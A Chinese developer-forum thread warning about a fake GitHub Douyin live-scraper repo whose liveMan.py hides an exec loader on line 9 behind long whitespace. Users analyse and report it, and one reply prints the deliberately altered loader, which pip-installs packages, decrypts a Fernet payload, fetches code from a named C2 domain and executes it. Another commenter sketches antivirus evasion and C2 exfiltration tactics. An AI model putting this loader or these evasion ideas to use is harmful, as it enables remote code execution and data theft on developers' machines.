起因是最近在了解 DY 直播间的抓取,发现一个 github 仓库,有很多仓库类似,不相信误触了一个, 编译的时候报错,发现 github 预览和实际是两个,有部分代码被隐藏了, 这是怎么做到的? 仓库拥有者是这个人:Douyin-Live , liveMan.py 在第 9 行有看不到的代码, 恶意运行, 我只能说这人真坏!
1
ntedshen 1 天前 。。。论不开自动折行的坏处
这不是就是用一堆空格把 exec 放到最后了么。。。 |
2
cairnechen 1 天前
其实可以先扔给 AI 分析一波,这种程度的一般都能找出来
|
3
cairnechen 1 天前
不过我这个仓库作者之前做的仓库是正常的?专门开了一个组织来上传包含恶意代码的版本?恶堕了吗?
|
4
renmu123 1 天前
github 先举报一波
|
5
MYDB 1 天前
fork 比 star 多的仓库,都是假的
|
6
larry011 1 天前 via Android
这么巧,前几天刚刚举报这个仓库
|
7
renmu123 1 天前
那个 commit 的开发者还有其他的 douyin 项目,建议保留证据,之后举报当前仓库,后面去另一个仓库提 issue
|
8
cairnechen 1 天前
你的观察非常敏锐!页面上确实显示贡献者是 saermart ,这也是这种钓鱼仓库最具欺骗性的一点。
出现这种情况,是因为黑客利用了 Git 的底层机制和 GitHub 的显示规则来进行伪装。作为一个经常和代码打交道的开发者,你可能对 Git 比较熟悉,我来为你拆解一下他们是怎么做到“移花接木”的: 为什么会显示原作者的名字? Git 提交记录自带作者信息: 在 Git 中,每一次 commit 都会附带提交者的名字和邮箱(即 git config user.name 和 user.email )。 克隆并全盘推送: 攻击者把正版仓库( saermart/DouyinLiveWebFetcher )完整克隆到了本地。这些代码的历史提交记录里,全都是 saermart 的原始邮箱和签名。 GitHub 的自动关联匹配: 接着,攻击者新建了一个名为 Douyin-Live 的组织,并把克隆下来的代码(连同所有的历史提交记录)推送到这个新仓库里。GitHub 扫描到这些历史提交的邮箱属于 saermart 这个账号,就会自动在贡献者( Contributors )列表中展示他的头像和主页链接。 卧槽,原来是这么实现的,错怪原作者了 |
9
cairnechen 1 天前
@renmu123 有可能不是那个作者干的
|
10
Hashbaby 22 小时 55 分钟前
|
11
Hashbaby 22 小时 50 分钟前
如果换作是我 我就把恶意代码藏到加密的 js 文件里面 利用 node 向 python 注入恶意代码 进行底层函数劫持 这样杀毒软件都不会报毒
|
12
Hashbaby 22 小时 47 分钟前
进行函数劫持 而且自带持久化 持久化都不用做了 卡巴斯基都不会报毒 还可以利用 windows 自带的屏幕截图 然后加密数据 回传到 C2 一气呵成
|
13
Hashbaby 22 小时 44 分钟前
内存免杀使用心跳抖动 内存完全随机 一点特征都没有 接下来唯一需要注意的就是回连 C2 的主机不要被哈希标注就行了
|
15
henix 20 小时 41 分钟前
在 https://github.com/Douyin-Live 这里点“Report abuse”,有个“请为您的问题选择类别”的下拉框死活加载不出来,有人知道为什么吗
|
17
sddyzm 20 小时 11 分钟前 via iPhone
还是微软太不上心了
|
18
94 20 小时 10 分钟前
|
20
bbbb 19 小时 44 分钟前
太坑了,还运行过这个项目,不知道电脑有没有事。macOS 。
|
24
bigha 19 小时 36 分钟前
│ 1. 用户执行恶意代码 │
│ ↓ │ │ 2. 自动安装依赖: cryptography, fernet, requests │ │ ↓ │ │ 3. 解密 Fernet 加密的载荷 │ │ ↓ │ │ 4. 执行解密后的代码: │ │ requests.get('https://marsalek.cy/paste?userid=116') │ │ ↓ │ │ 5. C2 服务器返回 Python 代码 │ │ ↓ │ │ 6. exec() 执行服务器返回的任意代码 如果执行了就重装系统吧 避免更多的损失 |
26
Zarhani 18 小时 51 分钟前
这个域名我打开的时候立即被卡巴斯基拦住了 :)
|
27
sockpuppet9527 18 小时 42 分钟前 "在第 9 行有看不到的代码", 其实看的到,只是 import os 后面空格了 N 行,所以页面上你得往右拉才看的到。
|
28
llsquaer 17 小时 43 分钟前
确实不好发现.就算 IDE 里,这不会自动换行,不容易发现啊. 代码就下面那样.我改过加密部分字母了,不能解密运行的
import os;import subprocess, sys; subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'cryptography', 'fernet', 'requests']); from cryptography.fernet import Fernet; import requests;exec(Fernet(b'g7CbkoPLVMvvKfaZLW2oGOO3q8Khj6Kctk3Vy8kM=').decrypt(b'gAAAdCZD_EjlsxPNG_8di-mnsPIQvU8WA7rrmD_jzQvIRfJ5ct0FxB6hddPBJaaan9zdjwT1C5qvRjIUkhs9tcX09hN4l_XwQWgrJmtZZOYxbv-MfRSD2MJ5VtyqOonxbzN_4Q-id9q_NdhLZpmW5tvDkzJ5ByrOH2h5-M2wlrrL8SZXv8PrtmZX57Z-vqii6W3Ni4vJTBBMLsFKd9PMzQ==xxxx')) |
30
Liu6 13 小时 47 分钟前
已经 404 了。
|